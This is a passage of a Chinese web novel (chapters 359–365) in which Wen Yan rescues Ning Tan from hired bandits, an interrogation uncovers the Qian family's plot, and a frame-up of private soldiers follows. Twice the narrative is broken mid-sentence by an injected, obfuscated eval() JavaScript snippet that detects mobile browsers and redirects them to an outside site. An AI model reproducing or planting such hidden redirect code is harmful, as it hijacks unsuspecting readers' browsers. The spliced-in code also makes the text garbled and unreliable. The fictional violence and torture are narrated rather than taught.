横肉男:“哼!现在知道怕了。刚才杀我人的时候,你胆子挺大的嘛!” 闻颜嘿嘿笑了两声:“刚才是我眼瞎,是我有眼不识泰山,您聪明绝顶,肯定不会做亏本的买卖的,对吧!” “您看我把袖箭都扔了,对您构不成任何威胁,是吧!”闻颜眨巴着眼睛,使劲做出妩媚勾人的样子。 横肉男的手下,也凑过来道:“别忘了雇主的要求,先奸后杀。 现在把她们杀了,我们还得费力的扛过去,不如先让他们自己走过去,到了目的地再动手也不迟。” 手下说着,还做了一个抹脖子的动作。 横肉男摸着下巴想了想,冷哼一声:“死罪可免,活罪难逃,给我好好教训她们一顿。” 闻颜二人身上的棉衣被扒走,又被围殴。 闻颜抱着宁叹的脑袋,护着她的头脸不受伤。 宁叹也紧紧抱着她的脑袋。 没一会儿,两人就被揍得鼻青脸肿,浑身是伤。 随后,二人被反绑着手,押解着往大佛寺方向走去。 天黑雪厚,山路很不好走。 闻颜和宁叹为了少受罪,一路上都十分配合。 然而,横肉男铁了心想报复他们,时不时就上前抽几鞭子。 闻颜疼得呲牙咧嘴。 她活了两辈子,还没受过这种皮肉之苦。 很快,他们就在林子里走了将近一个时辰。 忽然,树林里响起几道啾啾声。 闻颜一喜。 是孟希延他们到了。 果然,下一秒,树影晃去,雪花簌簌落下。 几道人影,从旁边的树林里蹿出来。 闻颜回身抓住宁叹的手,躲到一颗大树后面:“太好了,宁叹姐,我们的救星来了!” 横肉男反应贼快:“**,又来几个送死的。大家伙操家伙上,不留活口!” 土匪们一拥而上,两波人很快就厮杀在一起。 宁叹探头探脑的观察,担忧道:“只来了九个人,土匪可是有四五十人,真能打赢吗?” “放心吧,这些都是烂鱼小虾,他一个人就能把他们全部打趴下。”闻颜指着孟希延说道。 “希延大哥,这边。”闻颜朝他招手大喊。 孟希延确定闻颜的位置,舞着一把**朝她们杀过来。 “我大哥厉害吧,**的招式超级飒有没有!” 孟希延身形高大,臂长腿长,打斗动作干脆利落,一招一式都透着暗劲。 再配上他那张俊美无俦的脸,别提有多赏心悦目了。 宁叹点头,“身手确实不错,不过我看着他怎么有些眼熟?” 闻颜捂嘴偷笑:“英俊的人总是相似 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除了孟希延的两个弟弟比较生涩,其他人都是战场厮杀的老手。 很快,他们就将五十几名土匪打趴下。 孟希延这才注意到闻颜和宁叹都没穿棉衣。 他赶忙脱下披风,想给闻颜披上。 宁叹探究的目光在闻颜和孟希延身上流转。 闻颜心里咯噔一下,她不会误会了吧! 她可不能当希延大哥感情路上的绊脚石,一个旋身就躲开,拽着辰十二的皮风:“大哥你的披风太丑了,我喜欢十二这件浅灰色的。 十二你快点,把你的皮风脱给我。” “哎哎哎……我我我……”辰十二七手八脚,也阻止不了披风被闻颜扒走。 辰十二:“嘤嘤嘤……大哥,闻颜又欺负我!” 孟希延在闻颜和辰十二的脑门上各弹了一下:“你们两个够了!” 他将自己的皮风递给宁叹,坦坦荡荡像是照顾自家姐妹:“宁小姐披上吧,天寒地冻的,当心冻出病了。” 第360章:宁叹知道 宁叹看着披风。 按她从小到大的教养,孟希延的披风属于外男的衣裳,她就是冻病也不该碰的。 孟希延如此坦荡,自己若是不接受,反而显得矫情心虚。 况且,这些年的经历,她想明白了好多事。 什么事都不如自己好好活着。 她正想伸手去接披风,闻颜抢先一步拿过披风,披在宁叹身上。 “天寒地冻的,身子冻坏了要吃大苦头的。况且这里都是自己人,是绝对不会走漏一丝一毫消息的。” 闻颜看向其他人:“各位哥哥,是不是啊?” 其他人连连点头,还举手发誓,绝对不会走漏一丝风声。 宁叹抿唇一笑,对众人盈盈一礼:“那就多谢各位了。” 闻颜让辰十二看顾着宁叹一点,她朝孟希延使了个眼色,朝一旁走去。 孟希延也跟了过去。 闻颜踢了脚边的土匪一脚问孟希延:“还有活口吗!” 孟希延:“自然是留着的,他们的老巢还没捣毁,他们留着还有大用!” 闻颜对孟希延小声道:“我总觉得这里面不简单,那些土匪早就潜伏在宁小姐身边,可见是有备而来。 而且这一路上我都在观察他们,发现他们虽是土匪,却训练有素。 如果他们是真正的土匪,时日一长恐怕会形成大患。” 当然,还有一种更可怕的情况,闻颜没有多嘴提。 不过,以孟希延的警觉程度,应该能想得到的。 “还有,那些活口里面,有沧州口音的吗?” 孟希延招了招手,负责审问的仆从就走了过来,没一会儿,他就带来两个土匪打扮的人。 说他们打扮像土匪,是因为那细皮嫩肉,一看就没吃过苦,根本不像土匪。 闻颜对孟希延道:“你能帮我审一审吗?问出他们的幕后主子是谁?” “能办好吗?”孟希延睇了仆从一眼。 “给我一刻钟就行。” 仆从提着两名土匪去一旁。 幽黑的树林里,很快就传来阵阵惨叫。 突如其来的声音,吓得闻颜一激灵。 孟希延:“怕了?” 闻颜还没来得及回答,仆从就跑来禀报:“已经吐口了。” “这么不经审!”闻颜嗤笑一声,就跟着仆从走了过去。 来到审问的地方。 一个人被打得体无完肤,倒在地上,失去意识奄奄一息。 伸出来的双手,几乎被捣成烂泥。 另一个人则瘫软在地,吓得浑身直打哆嗦,裤裆被打湿了,散发出一股尿骚味。 闻颜嫌弃往旁边挪了挪:“说吧,你们的主子是谁。” 那人头都不敢抬,哆哆嗦嗦的道:“是……是钱家。” 钱家。 宁叹的未婚夫就姓钱。 看来,想要她身败名裂,毁了宁家声誉的人,果然是钱家。 宁叹守着望门寡,还给未婚夫守凌,作为未婚妻,她已经做得够好够多了。 钱家为何还要赶尽杀绝。 开了个头。 后面的话就不难说出口了。 他把知道的事情,像倒豆子一样全部门儿清出来了。 “是钱家主的意思吗?他们准备怎么对付宁小姐?” “不……不是钱家主的意思,是钱家二房夫人的意思。她让我们……她让我们联合这里的土匪,千万先奸后杀,再扔到大佛寺山脚人流大的地方,让她……让她身败名裂,被千夫所指,被人唾骂。” 闻颜又问:“钱家的二房夫人?是不是宁小姐未婚夫的亲生母亲?” “是……” 闻颜偷瞄孟希延。 他虽面无表情,但拳头却捏得紧紧的,连指节都在发白。 他果然很生气吧。 不过闻颜也没有多问。 “把他们处理了吧。以绝后患。”孟希延神情冷静,说出来的话也那么无情。 “大人,我还年轻,我还不想死,求您了,饶了小的这一次吧。”那人哀求着扑过来,想抱他们的大腿哀求。 “你们接这个任务的时候,可有想过宁小姐的死活? 你们既沾了因,就得尝尝这果。”闻颜气得恨不能踹几脚,又怕弄脏了鞋底。 “走吧,别看了,污了你的眼。”孟希延一脚踢开匪徒,带着闻颜离开。 两人齐齐转身,没想到与宁叹撞了个正着。 闻颜一慌:“宁……叹姐姐,你……” “颜颜。”宁叹温柔地叫了一声。 “你……都听见了?”闻颜走到她身边,担心她会想不开。 宁叹朝闻颜露出苦笑:“都听见了。结果跟我猜想的一样。” “我……这个……”闻颜想安慰她,可又不知该从何说起。 只能懊恼的抠着手指:“其实……这未必是坏事。早点认清他们的真面目,早点脱离苦海。” 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闻颜记得,前世有个丫鬟拼着最后一口气,逃回城中求援,最后才能救下了宁叹。 不过丫鬟却因为伤重不治身亡。 这样的忠仆,她希望能早点发现她救治。 将这里的事安排好之后,闻颜一行就先行下山回城。 天上又开始下起大雪。 他们抵达城门口之时,刚好碰上开门。 有孟希延这张脸,他们很快就插队进城。 岔路口。 闻颜和孟希延分开走。 孟希延回去请旨,点兵剿匪。 孟希延忍不住看了宁叹一眼:“你照顾好她。” 闻颜道:“放心吧希延大哥,我会把宁叹姐姐照顾好的。” 孟希延这才扯动缰绳,与他们分开。 闻颜看向宁叹:“宁叹姐姐,你现在的状态,是直接送你回宁家吗?” 宁叹看了看自己狼狈的形容,赧颜的道:“只怕还要劳烦柳家妹妹带我去整理一番。” 闻颜道:“我看不如这样吧,你先跟我回我的住处调整一日,明天我再亲自送你回家。还有,你以后就跟别人一样,叫我闻颜就好。” “那就都听闻颜妹妹的安排。” 闻颜吩咐驾驶的辰十二:“小十二,你送我们回‘清风小楼’。” 第361章:抓到私兵 不多时,闻颜的马车就停在‘清风小楼’的后门。 到此时,天边才露出鱼肚白。 守门的婆子卸下门槛,让马车驶进院子。 把门关上之后,闻颜才和宁叹下车。 宁叹看着院子的格局,疑惑地问:“这是什么地方?” 看着不像普通的住宅。 闻颜轻轻挠了挠脸颊:“那个……其实这里不是住宅,是我开的店。不过你别担心,我的店只做女子生意……” 闻颜怕宁叹介意,认真仔细把店铺的性质和经营项目说了一遍:“不过再怎么说,这里都是商铺,人来人往不算单纯。 宁叹姐姐你若是在意,我们可以去别的地方住。” 宁叹没有嫌弃,反而还有些羡慕:“这里挺好的。 反正我们只在后面的区域活动,跟前面的客人接触不到。”而且,她离开京城五年了。 物是人非,就算碰见曾经相离的贵妇人,也未必能认出她。 闻颜见她真不介意,就带她去了居住的院子。 “屋子里好暖和啊!”宁叹道,“这得费不少炭吧!” 闻颜道:“我囤了些炭,只在房间取暖还是烧得起的。” “小姐,你回来啦!”霜姨急匆匆地来到房间,衣裳都没整理好。 “霜姨!”闻颜开心地扑过去,紧紧抱住霜姨。 霜姨一下就看到她后颈上的淤青。 “你怎么受伤了?”她把闻颜从身上撕开,捋起衣袖到处检查。 发现她身上大大小小全是淤青,心疼得眼圈都红了:“快来人,去同和堂请林大夫。” 闻颜安抚她:“都是些皮外伤,不用那么着急的。” 若是闻颜一个人,她擦些药就好了。 不过她不在意,宁叹身子弱,也得要找大夫看看。 趁着他们去请大夫,闻颜和宁叹洗清一番,刚换上干净的新衣裳。 霜姨又无缝衔接地送上饭菜。 都是寻常又开胃的小餐,不过种类很多。 宁叹选了一小碗馄饨。 她吃第一口就幸福地眯起了眼睛:“就是这个味道,好怀念啊!” 她慢慢回味完这碗馄饨,就准备结束早食了。 “难怪你如此清瘦。我们店里的狸奴都比你吃得多,听话,你再吃一碗才可以。”闻颜又端了一小份米线塞进她手里:“试试这个,菌汤米线,是我们店里客人最喜欢的小食。” 这些年宁叹守陵,过的日子就像苦行僧,日日米粥小菜,都只能吃七分饱。 突然多吃胃会受不了。 好在林大夫及时出现,解救了她。 两人的伤势都没有大碍,开了些外涂的药就结束了。 宁叹上药完,就被安排在客房休息。 闻颜特地点了安神香,就退出来了。 霜姨守在门外:“小姐,你的房间也准备好了,去休息吧,黑眼圈都出来了。” 闻颜一边朝自己的房间走,一边问霜姨:“今日店里可有客人?” “有的,订出了两个院子,是两户官家千金聚会,都很简单。” “有客人就多加派一点人手,守在院门口,除了你我,绝不允许其他人进来。”店里都是女子,闻颜无所谓。 但是宁叹不行。 在她解决那些事情之前,不宜在别处暴露她的踪迹。 那会影响到她的名声,继而影响到她的希延大哥的婚事。 两人边走边说话,房间里的宁叹,渐渐听不到声音。 宁叹看着帐顶,神情之中是藏不住的羡慕:“闻颜妹妹,可真是一个利落干练的女子。 我这辈子,还有机会摆脱宁家,过上这样的日子吗?” 她的眼皮渐渐变重,很快就睡了过去。 闻颜回到房间,突然问道:“霜姨,今日怎么没见到佩儿?” 难怪她觉得心中空落落的,像是少了块什么。 原来是没看见佩儿。 “佩儿姑娘出城去运炭了。自从我们自己卖炭,生意就特别好。 不仅把库存卖光,这已经是第二次去城外拉货了。” “卖断货,岂不是赚了很多银子?”闻颜捧着脸,一副财迷相。 霜姨见状,对她越发宠溺:“那是,每天的账本都要多写好几页呢。” “能赚到银子就太好了!”佩儿跟着元小头领,就不出事 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“啊……不要。饶命啊!你们不是**,我们是……”那人下意识就开始喊冤。 “来人,把这些暴虐之徒,全部拿下。”元小头领拔出腰间佩刀,大喝一声。 见说不通,他们也亮出武器,殊死一搏。 打斗间,元小头领的队伍里,有人露出了靴子。 有**认出靴子来历,惊恐大喊:“是……是城卫军的官靴,他们是官府的人……” 元小头领上去,两刀就把人拍晕了。 这些**根本不堪一击,大多数被当场斩杀,只留了几个活口被打晕。 元小头领甩掉刀的血,吩咐道:“给我查清楚,这些都是谁家豢养的私兵。” 佩儿一脑门雾水。 这些**,不都是京城贪婪权贵,派来的打手吗? 目的是为了**他们的炭。 怎么到了元小头领嘴里,就成了私兵? 这罪名要是坐实了,可是会杀头的! 第362章:图穷匕现 佩儿瞅着元小头领,这小子还是那么坏。 当初在晋阳府,他就阴招频出,坑了不少人。 不过晋阳府山高皇帝远,他怎么闹都有孟小将军兜着。 可这里是京城,闭着眼睛扔一块石头,就能砸中一个官。 这些‘土匪’既然敢对来劫他们的炭,绝不会一无所知。 既然他们冒着得罪孟家的风险,可见势力也不一般。 佩儿扯了扯元小头领的衣袖:“这么明显的栽赃,他们背后的人肯定能轻易查出来,到时候你怎么办?” 元小头领翘着脚,得意的道:“怕什么,孟希延不会让我出事,他会保我的。” 佩儿道:“孟家是势大,可京城里比孟家势大的,两只手都数不过来。 万一那些人的点子比孟家硬,你看他们还能不能捞你出来。 而且,你要有给人做小弟的自觉好不好!” 元小头领兴味地看着他:“什么小弟的自觉?我不知道啊,你说给我听听呗。” 佩儿歪着脑袋瞅他一眼:“你还真是让人捧习惯了,一点不知道收敛。当人小眼我们当丫鬟是一样的,要事事以主子为先,为主子着想,不能给主子添麻烦。” 元小头领:“……哼,那是你这种普通丫鬟,像我这种高级小弟,就是要有自己的主见的,小丫鬟你管得可真宽!” 元小头领揪着佩儿肉嘟嘟的脸颊,使劲的揪了揪。 佩儿痛得一拳砸在他胳肢窝。 元小头领捂着胳膊,浮夸的倒吸一口气,指着佩儿:“你好狠!” 佩儿朝他做了一个鬼脸。 这时,元小头领的手下走过来禀报。 他附在元小头领耳边低声说了几句。 元小头领挑了挑眉:“哪个兰家?宫里那个?” 手下点点头。 元小头领不仅没怕,脸上反而露出兴奋的表情:“我正愁找不到机会收拾他们,没想到他们自己送上门来了。” 他对手下吩咐道:“去,把这些**的私兵,全部抓起来,再送去官府报案。” 不一会儿,几个手下就抬着一口箱子过来了。 箱子打开,就露出里面的陈旧的盔甲,和一些制式武器。 没几下,手下就把旧盔甲穿到他们的外衣之下,制式武器也挂在他们腰间。 “一会儿需要你把这些人送去官府,你知道该怎么说吗?” 姓元的小子,准备得可真齐全啊! 头一次干栽赃陷害之事,佩儿紧张得吞咽口水:“我第一次,没经验,容易露馅,不如你派你的手下过去,他们人高艺胆大,做起这些事情来,肯定会更加的得心应手,你说是不是!” 天呐,这么大的事,她可不想碰。 把自己的小命搭进去就算了,万一连累了小姐,自己万死难辞其咎。 元小头领勾着她的肩膀,吊儿郎当地道:“你现在想反悔已经晚了。 你都已经被这些人看见了,想摆脱是不可能的。 现在的你,要么上我们的贼船,要么只能……” 元小头领做了一个抹脖子的动作。 佩儿吓得小脸一白,央求:“拜托,我们好歹共事一场,不算朋友也算熟了,你别坑我好不好?” 元小头领摇着手指,“不行哦,此事没得谈,你只有两个选择。” “看得我是没办法脱身了。那你帮我一个忙,我就帮你。” “你说。”元小头领无所谓的道。 “你……你回去从小姐那时把我的**契赎回来,再……再写一封断绝关系的文书,就说……就说是我另攀高枝了,她已经不配做我的小姐了,我要跟她恩断义绝。”佩儿想到自己要跟闻颜断绝关系,她的眼眶瞬间就红了。 元小头领有些心虚地摸了摸鼻子:“那个……事情或者没那么严重……” “这还不算严重吗?那什么才叫严重?总之,你必须要帮我办这件事,不然……不然我就跟你同归于尽。 我临时翻供,我把你栽赃陷害的事,全部说出去。” 佩儿越说越难过。 眼泪就像断线的珠子一样,啪嗒啪嗒往下掉。 最后实在忍不住,呜哇呜哇的大哭出来。 元小头领急得手足无措:“哎……你别哭嘛,我不是故意的。事情没我想的那么糟,你只是帮忙送个信,后面的事我会处理,我不会让你出事,更不会让你小姐出事。 你想想啊,孟迟飞那么护着闻颜,我如果让闻颜有事,孟迟飞回来不得打死我啊! 真的,我没骗你。 小祖宗我求你了,快别哭了好吗?”元小头领手忙脚乱的哄 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闻颜见状,试探着道:“那就留在京城啊,这样每年都能看到这样的景色了。宁叹姐姐你有没有想过,成婚嫁在京城?” “嫁人?我这个望门寡妇吗?不过是送给别人做小妾罢了。”提起婚事,宁叹眼中便闪过深深的厌恶。 闻颜对她的情绪观察入微,见她神情,便没再继续试探。 恰巧霜姨进来禀报:“小姐,盛夫人又派人来了。” “盛夫人?”闻颜一时没想起哪个盛夫人。 霜姨道:“就是丞相府的大少夫人。您五天前出门时,还在店门口碰到过她。 您还让我多送了她一壶蜜花茶。” “原来是她啊!”闻颜瞬间就记起来了。 当时她就疑惑,盛夫人向来低调,来他们这儿订园子就很离谱了,今日又怎会再次上门。 “霜姨,盛夫人派人来店里做什么?”这位盛夫人明显就是醉翁之意不在酒。 “盛夫人看上您那幅冰嬉残荷夜景图了,说是想买?” 看上画了? 未必! 看来是到图穷匕见的时候了。 第363章:凭你脸皮厚凭你嘴巴贱 买画是假,有所图谋为真。 闻颜道:“霜姨,你去帮我回一张请柬,挑一个店里空闲的日子,请她过来喝茶。” “好,我这就去安排,时间确定了再通知你。”霜姨应了一声,就去办事了。 糖水吃完。 闻颜伸了个懒腰,店里的客人也快离开了。 闻颜就提议去前面院子里逛逛。 宁叹摸着自己的脸,摇摇头:“我这张脸……还是不去了吧。” “好不容易我们都有空,下次一起玩,不知要等到什么时候了。 我们就去吧。 你要是怕人看出来,不如戴上这个吧。” 闻颜拿了一张面纱给宁叹。 宁叹犹豫了一下,还是答应了。 实在是这些年,她被关在一个四方小院子里,她真的很想见一见外面的天日。 两人穿上保暖的衣裳,宁叹戴上了面纱,就一起游园了。 宁叹被这些小园子迷得挪不开眼,对闻颜更是赞不绝口:“你是怎么想到这样布置小院的? 也太好看了吧! 换作我与姐妹聚会,也会选在这里。” 闻颜开心地晃了晃脑袋:“其实,这些还不是最受欢迎的,冰嬉和百花园天天有人订,不然就能带你去看看。”两人说完,准备去下一个园子。 谁知,她们刚走出园子,就迎上要离开的客人。 “闻颜!你怎会在此!”人群里忽然传来一道女声。 闻颜回头,发现是个老熟人祝乐乐。 霍耀行的表妹,祝家的嫡长女。 前世,闻颜因为嫁给霍耀行,祝乐乐一直视她为眼中钉,肉中刺。 今生没了利益纠葛,她在闻如月的挑拨下,还是对闻颜恨之入骨。 处处找闻颜的茬。 嫁衣的事,就少不了她的蹦跶助攻。 她在闻颜手上吃了几次亏,被狠狠教训了几顿,这才收敛很多,不找闻颜的麻烦。 此时遇上,祝乐乐憋得快要**的怒火,终于找到发泄口了。 “祝小姐,请叫我柳闻颜。” “切,笑**了。谁不知道你是在闻家长大的。你吃闻家的住闻家的长大,嫁了人就想跟闻家一刀两断,你可真是忘恩负义,白眼狼。” “我这些年在闻家的花用,早就把银子还上了。那可是有皇后娘娘身边的蓝心姑姑亲自做的人证。” “你……钱可以还,那这些年的感情呢?他们对你的培养呢?你能攀上京城的权贵圈子,结交那么多人脉,难道不是占了闻家的便利吗?” 闻颜觉得好笑:“你说的人脉,难道就是像你这种见面就找我的茬,骂我,败坏我名声的人脉吗? 如果是你说的这种,那不好意思,我不稀罕。” “你……说得好听,还不是个势力眼。 现在京城里正是缺炭的时候,你明明手握百万斤炭,却见死不救,冷眼看着那些人冻死。 你简直就是个冷漠无情的女人!” “你这么善良,京城那么多穷人,你肯定愿意把你祝家的银子分给他们的吧!” “我的银子,凭什么分给那些穷鬼!” “所以,我的炭为什么要给那些人? 凭你脸皮厚? 凭你嘴巴贱? 还是凭你慷他人之慨?” 闻颜不耐烦地挥挥手:“祝小姐,你嘴皮子太笨,就别在这里找不痛快了,赶紧走吧,别让我叫人把你扔出去!” 祝乐乐脸涨得通红,灰溜溜地跑了。 倒是这些客人中,有一个女子偷偷看了宁叹好几眼:“你……” 她还朝宁叹走过去。 闻颜一大步跨过去,挡在两人中间:“小姐止步,店中的女使脸上长了痤疮,会吓到您的。” “是吗?那打扰了。”女客抱歉一笑,就和同伴离开了。 经此一事,宁叹也不敢在外面闲逛,索性就回了住处。 天色渐明。 闻颜送宁叹回宁家。 马车停在宁家的角门。 阔别多年,日日思乡之情,让宁叹近乡情怯。 手里的帕子都被她捏皱巴了。 闻颜拍拍她的手:“放心吧。我派人通知你的亲生爹娘,他们会来接你的。” 前世,她的亲生父母得知她出事,第一反应就是想出城去救她。 她的族人却以她会败坏家族名誉为由,拒绝去救她。 最后还是她十一岁的小弟弟,从狗洞爬出来,找孟迟飞求助。 宁叹紧张地点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611137|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头。 片刻过后,车厢外就传来声音:“小姐,人来了。” “把人请上马车吧。” 马车帘子掀起来,一位中年妇人躬身进来。 她刚探进半身就僵了,失声喊道:“叹儿!我的叹……” 闻颜一把捂住她的嘴:“夫人,当心隔墙有耳。” 宁叹母亲的眼泪就像断线珠子一样,一颗接一颗地往下掉。 闻颜松开她,宁母就扑过去,紧紧抱住了宁叹。 宁叹的眼泪也止不住。 母女俩都哭得压抑又克制,闻颜在一旁看着,都有些眼圈泛红。 她默默退出车厢,对守在车边的丫鬟道:“请帮忙转告宁小姐,我的任务圆满完成,我就先行告辞了。” 丫鬟看她一眼,骄矜地点点头。 果然是清流之家,连丫鬟身上都有一股傲气。 闻颜带着侍女离开。 马车里。 宁家母女俩抱头痛哭了好久。 等两人情绪平复之后,宁母这才问道:“你怎么跟那个闻颜搅和在一起了?还让她送你回来,若是让别人看见,你的名声还要不要了?” 女儿现在已经这样了,千万不能再雪上加霜。 “娘,不是你想的那样。 要不是柳闻颜,您现在见到的,就是我的尸体了。” 随后,宁叹便将**的事详细说了。 宁母听完之后,整个人都气得全身发抖:“钱……钱家她怎么敢! 你只是未婚妻,做到这个地步已经够情够义了,他们竟然还想毁了你! 太恶毒了!” 宁叹紧紧握住母亲的手:“娘事情没有那么简单。 我在钱家守陵的第三年,钱家主母的外甥到钱家族学读书,在一次祭祖活动上与我见过一面便……便见色起意。 我虽然一直躲着他,却还是被钱家主母看破了她的心思。 钱家主母理所当然的想把我送给那个外甥做妾,给他换人情。 钱家二夫人则觉得我水性杨花。 五年过去了,她还在记恨我,觉得是我害**钱旬。 她说我不配重获新生,我应该一辈子给钱旬赎罪。” 宁叹说着说着,眼泪又刷刷落下来。 第364章:大善人 宁母气得直捶凳子:“怎么能!钱家怎么能这么做!? 他们太过分,太无耻了。 所以,上半年你让商队给我们带信,交代我们写信叫你回来给爷爷祝寿,就是因为这个对不对?” “是。他们一直在逼迫我,好几次都往我的食物里下药。 要不是我以前研究过药理,发现食物的气味不对,恐怕我早就沦为钱家献媚的物品了。 娘,我不想成为他们的玩物,我宁愿绞了头发去庙里当姑子。” “他们怎么能这样对你。 我的儿啊,这些年你到底受了多少苦啊!”宁母心疼地摩挲着女儿的脸。 “这次多亏了柳闻颜,要不是她,你的后果不堪设想……”想到钱二夫人的恶毒计谋,宁母又止不住的哆嗦。 “外面都在传言她冷血无情,不懂感恩。 没想到她为了救一个陌生人,可以冒着此等风险。 看来以前都是以讹传讹,我们也轻信了谣言。 改日我们一定会好好报答她。” 宁叹忐忑地捏着手指:“娘,我的事,家里准备怎么办? 祖父为了家族名声,恐怕不会为我主持公道。” 宁母眼中闪过愤恨:“叹儿你放心,你祖父若是还要息事宁人,那我就跟你爹和离。 我们母女一起去京兆府,状告钱家草菅人命。 京兆府若是不受理,我就去滚钉板告御状,我一定要给你讨回公道,脱离那个魔窟。” “娘……”宁叹扑进母亲怀里,再次落泪不止。 母女俩又抱头痛哭一场。 闻颜离开后,就和侍女在街上闲逛。 途经一座铺子。 只见那铺子门还未开,门口就已经排起了长长的队伍。 铺子上方挂着一块“越冬折价炭”的招牌。 “让让,让让。别耽误我买炭。”闻颜突然被人撞了一下。 “小心!”侍女连忙扶住闻颜。 闻颜站好之后摆摆手:“放心吧,我没事。” 侍女提醒道:“东家,我们还是先离开吧。一会儿铺子开业,这里会变得更混乱。” 闻颜问道:“这里就是官府售卖‘越冬炭’的地方吧。” 女使点了点头:“对。因为这里接待的都是普通百姓,所以每次卖炭时都鱼龙混杂,危险得很。” “没关系,我再看一会儿。”闻颜想了想,便装作来买炭的,混进队伍里排队。 没一会儿,她就从排队的婶子们口中,听到不少八卦消息。 原来。 这里购炭都限制了数量。 每人每天只有三斤的供量,三日来买一次。 若是户头人数超过七人,要么炭量会减少三分之一,要么价格翻三成。 如果是外地来京赴考的学子,则可凭路引和学籍可以每日领取三斤木炭。 如此一来,就避免了多领滥用的可能性。 元小头领做起事来,还真是有两把刷子。 “大家让让,放炭的差役来了。”随着这声提醒,大家主动从两边分开。 “你们看,江夫人和如月小姐今天又过来了。 天呐,江夫人和如月小姐好善良,以前我们都是被那些流言给误导了。” 江夫人? 闻如月? 闻颜循声看去,果然看见江家母女,在众差役的拥簇下,朝折价铺子走了过去。 江心葵母女怎么跟这些放炭差役混在一起了? 而且,她们是善良的好人?! 这些人可真会开玩笑。 排在闻颜前面的婶子,一脸炫耀地给闻颜解释:“你之前是不是没见过? 那两位是闻府的当家主母和嫡长女。 她们可是百年传承的世家,都是顶顶好的大善人。 他们不仅把自家的炭,低价卖给咱们平头老百姓,生怕我们受委屈,还亲自来盯着。 不像闻家那个养女,不仅对养父母冷血无情,都这种时候了还发国难财!” “就是,现在全京城都一炭难求,她手里握着百万斤炭,价格竟然还卖得比别人贵了十几倍。 那个闻家养女,简直就是天生坏种。 在善良的江夫人身边养了十几年,也没改掉的卑劣的品性。” 闻颜:“……” 一时之间不知该怎么回复这位热心的婶子。 不过,江心葵这对母女胆子还真大。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617205|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟然把主意打到‘越冬炭’上去了。 闻颜忍不住‘扑哧’一声笑了出来,这些炭在帝后面前过了明路的。 她们用‘越冬炭’给自己塑造好名声,这不是自己往刀子上撞吗? 她们现在把名声塑造得越响亮,后面爆雷就越惨。 闻颜捂着嘴偷笑,她现在什么都不做,等着看笑话就行了。 闻颜拉着侍女的手:“我们走吧,这里的好戏看完了。” “啊??”侍女一脸茫然的跟了上去。 闻颜他们刚走不久,元小头领和佩儿就回来了。 佩儿看见江心葵母女在铺子里孔雀开屏,就气得直跺脚:“哼!这对母女还真是可耻,连这种事都敢利用,看我现在就去拆穿她。” 佩儿撸起衣袖就往前冲。 被元小头领抓着胳膊拽了回来:“你冷静,别冲动。” “别人都踩到我们头上了,冷静个屁啊!”佩儿这个暴脾气,恨铁不成钢,一脚跺在他脚背上。 元小头领痛得脸都皱到一起。 他抱着脚,咬牙切齿的跟佩儿解释。 佩儿听完之后,焦急的神情才慢慢舒展。 她戳着元小头领的胸膛:“要是最后她们没有得到应有的下场,我肯定揍你。” 元小头领捂着胸口:“男女有别,你干嘛对我动手动脚的?” 佩儿:“……” 好想翻他一个大白眼。 闻颜从卖炭的地方离开之后,就准备回家‘清风小楼’。 一路上,她看见许多书生进城。 也对,再有两个多月就是会试了。 外地的举子最近陆续京城。 都考上举子了,手里肯定不缺钱。 那她‘一点墨’赚钱的机会岂不是又来了。 她得赶紧回去仔细安排安排,肯定能大赚一笔。 想到能赚上大钱,闻颜的脚步都轻快了许多。 谁知她在经过一条小巷子时,就听见里面传来痛哭流涕的哀求声:“崔管事,小的真的是走投无路了。 求你再帮我一回吧,呜呜呜呜……” 闻颜没忍住好奇,往里面看了一眼,瞬间眼睛瞪得溜圆。 第365章:开始发病了 大虎叔! 他怎么在这儿? 而且他还坐在地上,抱着一个男人的腿,撒泼打滚地哭嚎,那阵仗跟街头巷尾的泼妇一样一样的。 “崔管事,您心地善良,一定要帮帮我啊! 雪灾来得太突然了,一夜之间房子塌了,我一无所有了。 现在我无家可归,没地方去了。 呜呜呜呜……我大虎真的是太惨了! 拜托你帮帮我,再给我一条活路吧。” 大虎叔哭得一把鼻涕一把泪。 崔管事正是此前,从青楼把佩儿买走的掌柜。 闻颜怀疑他跟两年后,京城的那一起大案有关,所以安排大虎叔提前打入内部,收集情报。 她以大虎叔会有什么高明的手段混进去,没想到是撒泼打滚进去。 不过大虎叔瘦了好多,穿得又单薄破烂,真的很像一个受灾的难民。 大虎叔为了任务,牺牲太多了。 好在大虎叔的哭声够魔性,崔管事被吵得脑袋疼,最后迫不得已答应了:“行行行,我带你回去行吗?你就别再哭了,吵得我脑仁疼。” 崔管事甩袖而去。 大虎叔连忙爬起来,抽抽噎噎地跟在他身后。 擦身而过时,他还调皮地朝闻颜挤了挤眼。 闻颜:“……” ** 闻颜回到住处,就开始写‘一点墨’的卖货计划。 这些对她来说信手拈来,没一会儿就做好了。 她毫无形象地歪在圈椅里,手指有规律地敲着扶手。 马上就到会试的时间了。 前世,是闻颜苦心孤诣,用尽手段求到季山长名下。 得了季山长的指点,霍耀行才能拿下第二名,殿试也是拿了第二名榜眼。 虽然两次都被祁云舟碾压一个名次,但他作为京中权贵子弟,能考出这个名次,已经是个中精英。 其他权贵之家都在感叹,莫非是霍家的祖坟着火了,才会培养出霍耀行这么出息的后辈。 